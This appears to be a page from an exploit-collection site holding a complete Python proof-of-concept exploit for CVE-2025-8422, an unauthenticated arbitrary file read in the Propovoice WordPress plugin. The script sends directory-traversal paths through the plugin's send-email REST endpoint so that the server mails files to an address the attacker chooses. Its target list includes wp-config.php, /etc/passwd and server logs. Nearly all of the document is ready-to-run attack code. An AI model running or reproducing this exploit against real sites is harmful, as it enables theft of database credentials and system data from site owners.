4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-8422-exploit.py PY
#!/usr/bin/env python3
"""
CVE-2025-8422: Propovoice <= 1.7.6.7 - Unauthenticated Arbitrary File Read
Proof of Concept Exploit

This vulnerability allows unauthenticated attackers to read arbitrary files
by manipulating the 'attachments' parameter in the send_email() function.
"""

import requests
import sys
import json
import base64

def exploit_arbitrary_file_read(base_url, target_file, email_recipient):
    """
    Exploit the Arbitrary File Read vulnerability in Propovoice plugin

    The vulnerability exists in the send_email() function where the 'attachments'
    parameter gets processed through str_replace() without proper validation,
    allowing attackers to read arbitrary files via email attachments.
    """

    print(f"[*] CVE-2025-8422 Exploit - Propovoice Arbitrary File Read")
    print(f"[*] Target: {base_url}")
    print(f"[*] File to read: {target_file}")
    print(f"[*] Email recipient: {email_recipient}")
    print("-" * 60)

    # WordPress REST API endpoint for Propovoice
    api_endpoint = f"{base_url}/wp-json/ndpv/v1/send-email"

    # Craft malicious attachment URL
    # The vulnerable code does: str_replace($site_url . '/wp-content', $content_dir, $attachment_url)
    # We can manipulate this by crafting a URL that will result in our target file path

    # Get site URL first to craft proper payload
    site_info_url = f"{base_url}/wp-json/wp/v2"
    try:
        response = requests.get(site_info_url, timeout=10)
        if response.status_code == 200:
            site_data = response.json()
            site_url = site_data.get('home', base_url)
        else:
            site_url = base_url
    except:
        site_url = base_url

    print(f"[*] Detected site URL: {site_url}")

    # Craft the malicious attachment URL
    # Pattern: site_url + '/wp-content' + path_to_target_file
    # This will make str_replace() convert it to: content_dir + path_to_target_file
    malicious_attachment = f"{site_url}/wp-content{target_file}"

    # Payload for the send_email API
    payload = {
        "to": email_recipient,
        "subject": "File Exfiltration Test",
        "message": "This email contains a file read via CVE-2025-8422",
        "postId": "1",  # Required parameter
        "attachments": [malicious_attachment],  # Malicious file path
        "cc": "",
        "bcc": ""
    }

    print(f"[*] Crafted malicious attachment URL: {malicious_attachment}")
    print(f"[*] Sending request to: {api_endpoint}")

    try:
        # Send the malicious request
        response = requests.post(
            api_endpoint,
            json=payload,
            headers={
                'Content-Type': 'application/json',
                'User-Agent': 'CVE-2025-8422-Exploit'
            },
            timeout=15
        )

        print(f"[+] Response Status: {response.status_code}")
        print(f"[+] Response Length: {len(response.text)} bytes")

        if response.status_code == 200:
            try:
                result = response.json()
                if result.get('success'):
                    print("[!] EXPLOITATION SUCCESSFUL!")
                    print("[!] Email sent with arbitrary file as attachment")
                    print(f"[!] Check email at: {email_recipient}")
                    print("[!] The file contents should be attached to the email")
                    return True
                else:
                    print(f"[~] API returned success=false: {result}")
            except json.JSONDecodeError:
                print(f"[~] Non-JSON response: {response.text[:200]}")

        elif response.status_code == 403:
            print("[-] Access denied - plugin may require authentication")

        elif response.status_code == 404:
            print("[-] Endpoint not found - plugin may not be installed/active")

        else:
            print(f"[-] Unexpected status code: {response.status_code}")
            print(f"[-] Response: {response.text[:300]}")

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {str(e)}")

    return False

def test_multiple_files(base_url, email_recipient):
    """
    Test reading multiple sensitive files
    """
    target_files = [
        "/../../../wp-config.php",      # WordPress config
        "/../../../../etc/passwd",       # System users
        "/../../../../etc/hostname",     # System hostname
        "/../../../../proc/version",     # System version
        "/../../../.htaccess",          # Apache config
        "/../../../../var/log/apache2/access.log",  # Web server logs
        "/../../../../var/log/mysql/error.log",     # Database logs
    ]

    print(f"[*] Testing multiple file read attempts")
    success_count = 0

    for target_file in target_files:
        print(f"\n" + "="*50)
        if exploit_arbitrary_file_read(base_url, target_file, email_recipient):
            success_count += 1
        print("="*50)

    print(f"\n[*] Exploitation Summary:")
    print(f"[*] Files attempted: {len(target_files)}")
    print(f"[*] Successful reads: {success_count}")

    if success_count > 0:
        print("[!] VULNERABILITY CONFIRMED - Arbitrary File Read successful!")
        print("[!] Check the specified email address for file contents")
    else:
        print("[~] No successful file reads - plugin may be patched or protected")

def main():
    if len(sys.argv) < 3:
        print("Usage: python3 cve-2025-8422-exploit.py <target_url> <email_recipient> [target_file]")
        print("\nExamples:")
        print("  python3 cve-2025-8422-exploit.py https://example.com [email protected]")
        print("  python3 cve-2025-8422-exploit.py https://example.com [email protected] /../../../wp-config.php")
        sys.exit(1)

    target_url = sys.argv[1].rstrip('/')
    email_recipient = sys.argv[2]

    if len(sys.argv) >= 4:
        # Single file test
        target_file = sys.argv[3]
        success = exploit_arbitrary_file_read(target_url, target_file, email_recipient)
        if success:
            print("\n[!] Exploitation successful - check email for file contents!")
        else:
            print("\n[~] Exploitation failed")
    else:
        # Multiple file test
        test_multiple_files(target_url, email_recipient)

if __name__ == "__main__":
    main()